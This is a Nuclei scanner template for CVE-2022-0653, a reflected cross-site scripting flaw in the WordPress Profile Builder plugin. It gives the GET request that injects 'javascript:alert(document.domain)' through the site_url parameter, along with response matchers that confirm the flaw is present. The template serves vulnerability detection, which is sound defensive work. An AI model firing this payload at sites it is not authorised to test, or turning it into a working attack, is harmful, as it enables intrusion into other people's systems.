nuclei-templates/cves/2022/CVE-2022-0653.yaml

id: CVE-2022-0653

info:
  name: Wordpress Profile Builder Plugin XSS
  author: dhiyaneshDk
  severity: medium
  reference:
    - https://www.wordfence.com/blog/2022/02/reflected-cross-site-scripting-vulnerability-patched-in-wordpress-profile-builder-plugin/
  tags: cve,cve2022,wordpress,xss,wp-plugin
  description: "The Profile Builder – User Profile & User Registration Forms WordPress plugin is vulnerable to Cross-Site Scripting due to insufficient escaping and sanitization of the site_url parameter found in the ~/assets/misc/fallback-page.php file which allows attackers to inject arbitrary web scripts onto a pages that executes whenever a user clicks on a specially crafted link by an attacker. This affects versions up to and including 3.6.1.\n\n"

requests:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/profile-builder/assets/misc/fallback-page.php?site_url=javascript:alert(document.domain);&message=Not+Found&site_name=404"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<a href="javascript:alert(document.domain);">here</a>'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200